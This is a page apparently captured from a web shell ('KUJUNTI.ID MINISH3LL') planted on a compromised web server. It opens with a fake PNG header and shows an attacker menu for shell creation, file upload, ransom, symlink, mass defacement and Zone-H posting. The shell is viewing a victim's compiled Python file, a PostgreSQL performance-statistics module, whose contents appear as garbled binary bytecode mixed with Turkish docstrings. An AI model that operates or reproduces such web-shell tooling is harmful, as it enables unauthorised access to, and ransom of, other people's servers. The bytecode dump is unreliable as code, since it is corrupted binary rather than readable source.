\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv7/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv7/__pycache__/database_performance.cpython-310.pyc


o

z|�gng�@s�dZddlZddlZddlmZmZddlZddlmZejejdd�e�	e
�Zdd�Zd	d
�Z
dd
d�Zdd�Zdd�ZdS)u�
PostgreSQL veritabanı performans metrikleri için yardımcı fonksiyonlar.
Bu modül, pg_stat_statements kullanarak sunucularda çalışan sorguların performans verilerini alır.
�N)�datetime�	timedelta)�sqlz4%(asctime)s - %(name)s - %(levelname)s - %(message)s)�level�formatc
Cs�zJ|��}|�d�|��du}|sWdS|�d�|��d}z|�d�|��d}|r6d|vr6WWdSWntjjyE|YWSw|oI|WStyi}zd	�t|��}t	�
|�WYd}~dSd}~ww)
u�
    PostgreSQL sunucusunda pg_stat_statements'ın etkin olup olmadığını kontrol eder.
    
    Args:
        connection: PostgreSQL bağlantı nesnesi
        
    Returns:
        bool: Modül yüklüyse True, değilse False
    �?SELECT 1 FROM pg_extension WHERE extname = 'pg_stat_statements'NFz�
            SELECT COUNT(*) > 0 
            FROM pg_proc p 
            JOIN pg_namespace n ON p.pronamespace = n.oid 
            WHERE n.nspname = 'public' AND p.proname LIKE 'pg_stat_statements%'
        rzSHOW shared_preload_libraries�pg_stat_statementsTz-pg_stat_statements kontrol edilirken hata: {})�cursor�execute�fetchone�psycopg2�errors�InsufficientPrivilege�	Exceptionr�str�logger�error)�
connectionr	�extension_exists�
has_functions�	libraries�e�	error_msg�r�F/var/www/html/yedekledb24/DatabaseBackupMaster/database_performance.py�pg_stat_statements_enableds0



�
�

��rc
Cs�z$|��}|�d�|��dur|�d�|��ddd�WSddd�WStyN}zd�t|��}d	�t|��}t�|�d
|d�WYd}~Sd}~ww)u�
    PostgreSQL sunucusunda pg_stat_statements'ı etkinleştirir.
    
    Args:
        connection: PostgreSQL bağlantı nesnesi
        
    Returns:
        dict: İşlem sonucu (success, message)
    rNz1CREATE EXTENSION IF NOT EXISTS pg_stat_statementsTuQpg_stat_statements eklentisi kuruldu. Sunucuyu yeniden başlatmanız gerekebilir.)�success�messagez*pg_stat_statements eklentisi zaten kurulu.u/pg_stat_statements etkinleştirilirken hata: {}zHata: {}F)	r	r
r�commitrrrrr)rr	rr�message_textrrr�enable_pg_stat_statementsEs



��r ��
total_timec%
Cs^zt|�}Wn
ttfyd}Ynwd}d}d}d}g}dddddd�}	d}
zd	�|d
|d|d|d
|d�}
Wn$tya}zd�t|��}t�|�d|gd�WYd}~Sd}~wwzFt�	|
�}
d|
_
|
��}|�d�|�
�}|r�|dr�|d}|�d�}|r�|d��r�t|d�}||	d<nt�d�|��|
��Wn+ty�}zd�t|��}d�t|��}t�|�d|gd�WYd}~Sd}~ww|�r)|dk�r)z t�	|
�}
d|
_
|
��}|�d�|��|
��ddgd�WSt�y(}zd�t|��}d�t|��}t�|�d|gd�WYd}~Sd}~ww�zt�	|
�}
d|
_
|
��}|dk�r>dnd}|dk�rJ|d}n|d k�rRd!}n|d"k�rZd#}n|d}|dk�ryd$|�d%|�d&|�d'|�d(|�d)|�d*�
}nd$|�d%|�d+|�d'|�d(|�d)|�d*�
}|�||f�|��}g}|j�r�d,d-�|jD�}|D]�}|�s��q�i}t|�D]{\}}|t|�k�rÐq�||}|d.k�r�|�r�t|t��r�t|�d/k�r�|dd/�d0}|||<�q�|d1v�r|du�rt|ttf��rd2�|�||<�q�d3||<�q�|d4k�r,|du�r&t|ttf��r&d5�|�||<�q�d3||<�q�|||<�q�|�|��q�|��|
��Wn%t�yg}zd6�t|��}t�|�d|gd�WYd}~Sd}~wwdddt|�|d�}	z�t�	|
�}
d|
_
|
��}d7|�d8�}|�|�|�
�}|�r�t|�d9k�r�|ddu�r�|dnd}|d:du�r�|d:nd}|d;du�r�|d;nd}|d<du�r�|d<nd} |du�r�t|�nd}!|du�r�t|�nd}"|du�r�t|�nd}#d2�|#�}$t|!�t|"�|$| |d�}	|��|
��Wnt�y&}zd=�t|��}t�|�WYd}~nd}~wwdd>||	|d?�S)@u�
    PostgreSQL sunucusunda en çok kaynak tüketen sorguları alır.
    
    Args:
        db_conn: PostgreSQL bağlantı bilgileri (dict)
        limit (int): Alınacak sorgu sayısı
        order_by (str): Sıralama kriteri ('total_time', 'calls', 'rows')
        interval (str): Zaman aralığı ('hour', 'day', 'week', 'all')
        
    Returns:
        dict: Sorgu istatistikleri ile birlikte başarı durumu
    r!�Unknownr�total_exec_timeztotal_exec_time DESCz0.00 ms)�total_calls�
total_rowsr$�query_count�
pg_versionN�-host={} port={} user={} password={} dbname={}�host�port�username�password�databaseu-Bağlantı bilgileri hazırlanırken hata: {}F�rr�dataTzSHOW server_version�.r(u PostgreSQL sürümü alınamadıu/PostgreSQL sürüm bilgisi alınırken hata: {}u$Veritabanına bağlanırken hata: {}�resetz!SELECT pg_stat_statements_reset()u#Sorgu istatistikleri sıfırlandı.u&İstatistikleri sıfırlarken hata: {}�
r"z DESC�callsz
calls DESC�rowsz	rows DESCzi
            SELECT 
                query,
                calls,
                rows,
                z9 as total_time,
                CASE WHEN calls > 0 THEN a/calls ELSE 0 END as avg_time,
                min_exec_time as min_time,
                max_exec_time as max_time,
                mean_exec_time as mean_time,
                stddev_exec_time as stddev_time,
                CASE 
                    WHEN SUM(z/) OVER() > 0 
                    THEN 100.0 * z / SUM(z�) OVER() 
                    ELSE 0 
                END AS percentage_cpu
            FROM pg_stat_statements
            WHERE calls > 0 AND dbid = (SELECT oid FROM pg_database WHERE datname = current_database())
            ORDER BY z"
            LIMIT %s
            z�/calls ELSE 0 END as avg_time,
                min_time,
                max_time,
                mean_time,
                stddev_time,
                CASE 
                    WHEN SUM(cSsg|]}|d�qS)rr)�.0�descrrr�
<listcomp>
sz#get_top_queries.<locals>.<listcomp>�queryi�z...)r"�avg_time�min_time�max_time�	mean_time�stddev_timez	{:.2f} ms�N/A�percentage_cpuz{:.2f}%u.Sorgu performans verileri alınırken hata: {}z�
        SELECT 
            COALESCE(sum(calls), 0) as total_calls,
            COALESCE(sum(rows), 0) as total_rows,
            COALESCE(sum(z�), 0) as total_exec_time,
            count(*) as query_count
        FROM pg_stat_statements
        WHERE calls > 0 AND dbid = (SELECT oid FROM pg_database WHERE datname = current_database())
        ����u"Özet veriler alınırken hata: {}uVeriler başarıyla alındı)rrr0�summaryr()�int�
ValueError�	TypeErrorrrrrrr�connect�
autocommitr	r
r�split�isdigit�warning�close�fetchall�description�	enumerate�len�
isinstance�float�append)%�db_conn�limit�order_by�intervalr(�pg_version_major�time_column�order_columnr0�summary_data�conn_strrrrr	�pg_version_result�
version_parts�conn_error_msgrr9�results�columns�row�data_row�i�value�column_name�
summary_queryrEr%r&r$r'�total_calls_float�total_rows_float�total_exec_time_float�formatted_exec_timerrr�get_top_queriesasl��	�
��





��



��





���
�
�
����
�
��
 


���
�
	
����rnc
Cs�ddddgggd�}d�|d|d|d|d|d	�}z+t�|�}d
|_|��}|�d�|��}|r?|dr?|d|d<|��|��Wntyd}zt	�
d
�t|���WYd}~nd}~wwzDt�|�}d
|_|��}|�d�|��}|r�|ddur�|d|d<|�d�|��}|r�|ddur�|d|d<|��|��Wnty�}zt	�
d�t|���WYd}~nd}~wwz-t�|�}d
|_|��}|�d�|��}|r�|ddur�|d|d<|��|��Wnt�y}zt	�
d�t|���WYd}~nd}~wwz+t�|�}d
|_|��}|�d�|��}|�r3dd�|D�|d<|��|��Wnt�yY}zt	�
d�t|���WYd}~nd}~wwz+t�|�}d
|_|��}|�d�|��}|�r|dd�|D�|d<|��|��Wnt�y�}zt	�
d�t|���WYd}~nd}~wwz+t�|�}d
|_|��}|�d �|��}|�r�d!d�|D�|d"<|��|��Wnt�y�}zt	�
d#�t|���WYd}~nd}~wwd
d$|d%�S)&u�
    PostgreSQL veritabanı hakkında genel istatistikleri getirir.
    
    Args:
        db_conn: PostgreSQL bağlantı bilgileri (dict)
        
    Returns:
        dict: Veritabanı istatistikleri
    r?r)�db_size�table_count�index_count�active_connections�largest_tables�most_accessed_tables�least_used_indexesr)r*r+r,r-r.Tz;SELECT pg_size_pretty(pg_database_size(current_database()))rou'Veritabanı boyutu alınırken hata: {}NzmSELECT count(*) FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog', 'information_schema')rpz\SELECT count(*) FROM pg_indexes WHERE schemaname NOT IN ('pg_catalog', 'information_schema')rqu-Tablo ve indeks sayısı alınırken hata: {}z<SELECT count(*) FROM pg_stat_activity WHERE state = 'active'rru.Aktif bağlantı sayısı alınırken hata: {}z�
        SELECT 
            relname as table_name, 
            pg_size_pretty(pg_total_relation_size(relid)) as total_size
        FROM pg_catalog.pg_statio_user_tables
        ORDER BY pg_total_relation_size(relid) DESC
        LIMIT 5
        cS�g|]}|d|dd��qS)rrB)�
table_name�sizer�r6rdrrrr8���z&get_database_stats.<locals>.<listcomp>rsu(En büyük tablolar alınırken hata: {}z�
        SELECT 
            relname as table_name, 
            seq_scan + idx_scan as total_scans
        FROM pg_stat_user_tables
        ORDER BY total_scans DESC
        LIMIT 5
        cSrv)rrB)rw�scansrryrrrr8�rzrtu1En sık kullanılan tablolar alınırken hata: {}z�
        SELECT
            indexrelname as index_name,
            relname as table_name,
            idx_scan as scans
        FROM pg_stat_user_indexes
        ORDER BY idx_scan ASC
        LIMIT 5
        cSs$g|]}|d|d|dd��qS)rrBrC)�
index_namerwr{rryrrrr8s�ruu0En az kullanılan indeksler alınırken hata: {}u/Veritabanı istatistikleri başarıyla alındır/)
rrrIrJr	r
rrNrrrrrO)rVr0r^rr	�resultrrbrrr�get_database_statss���

 ��


 ��

 ��


� ��


� ��

	
� ���r~c
Cs�id|�dd�dd�dd�dd�dd�d	d�d
d�dd�dd�d
d�dd�dd�dd�dd�dd�dg�dgi�}d�|d|d|d|d|d�}z�t�|�}d|_|��}d}|�||f�|��}|sz|��|��dd�|�id �WS|�r|d!dur�|d!nd|d<|d"dur�|d"nd|d<|d#dur�|d#nd|d<|d$dur�|d$nd|d	<|d%dur�|d%nd|d
<|d&dur�|d&nd|d<|d'dur�|d'nd|d<|d(dur�|d(nd|d
<|d)dur�|d)nd|d<|d*|d<|d+|d<|d,|d<|d-|d<|��|��Wnt�y9}zt	�
d.�t|���WYd}~nd}~wwz1t�|�}d|_|��}d/}	|�|	|f�|��}
|
�rb|
d�rb|
d|d<|��|��Wnt�y�}zt	�
d0�t|���WYd}~nd}~wwz3t�|�}d|_|��}d1}|�||f�|��}
|
�r�|
ddu�r�|
d|d<|��|��Wnt�y�}zt	�
d2�t|���WYd}~nd}~wwzYt�|�}d|_|��}d3}|�||f�|��}
g}|
D]-}|�
|ddu�r|dnd4|d5du�r|d5nd|d6du�r|d6ndd7���q�||d<|��|��Wnt�yP}zt	�
d8�t|���WYd}~nd}~wwzPt�|�}d|_|��}d9}|�||f�|��}
g}|
D]$}|�
|ddu�r~|dnd4|d5du�r�|d5nd4|d6d:���qo||d<|��|��Wnt�y�}zt	�
d;�t|���WYd}~nd}~wwdd<�|�|d �S)=u�
    Belirli bir tablo hakkında detaylı istatistikleri getirir.
    
    Args:
        db_conn: PostgreSQL bağlantı bilgileri (dict)
        table_name (str): Tablo adı
        
    Returns:
        dict: Tablo istatistikleri
    rw�
table_sizer?�	row_countr�seq_scan�seq_tup_read�idx_scan�
idx_tup_fetch�	n_tup_ins�	n_tup_upd�	n_tup_del�
n_live_tup�
n_dead_tup�last_vacuumN�last_autovacuum�last_analyze�last_autoanalyze�indexesrcr)r*r+r,r-r.Tz4SELECT * FROM pg_stat_user_tables WHERE relname = %sFuTablo bulunamadı: {}r/rA�����	�
�r3����u)Tablo istatistikleri alınırken hata: {}z1SELECT pg_size_pretty(pg_total_relation_size(%s))u!Tablo boyutu alınırken hata: {}z9SELECT reltuples::bigint FROM pg_class WHERE relname = %su$Satır sayısı alınırken hata: {}a
        SELECT
            indexrelname as index_name,
            idx_scan as scans,
            pg_size_pretty(pg_relation_size(indexrelid)) as index_size
        FROM pg_stat_user_indexes
        WHERE relname = %s
        ORDER BY idx_scan DESC
        �rBrC)r|r{�
index_sizeu&İndeks bilgileri alınırken hata: {}z�
        SELECT
            column_name,
            data_type,
            character_maximum_length
        FROM information_schema.columns
        WHERE table_name = %s
        ORDER BY ordinal_position
        )rh�	data_type�
max_lengthu%Sütun bilgileri alınırken hata: {}u.{} tablosu istatistikleri başarıyla alındı)rrrIrJr	r
rrNrrrrrOrU)rVrwr0r^rr	�table_query�statsr�
size_queryr}�count_query�index_queryrbr�rd�column_queryrcrrr�get_table_stats)s&��������	�
���
�������
 ��
 ��
 ��
	� ��
	� ���r�)r!r"N)�__doc__�os�loggingrrrr�basicConfig�INFO�	getLogger�__name__rrr rnr~r�rrrr�<module>s$�
2
 +

© KUJUNTI.ID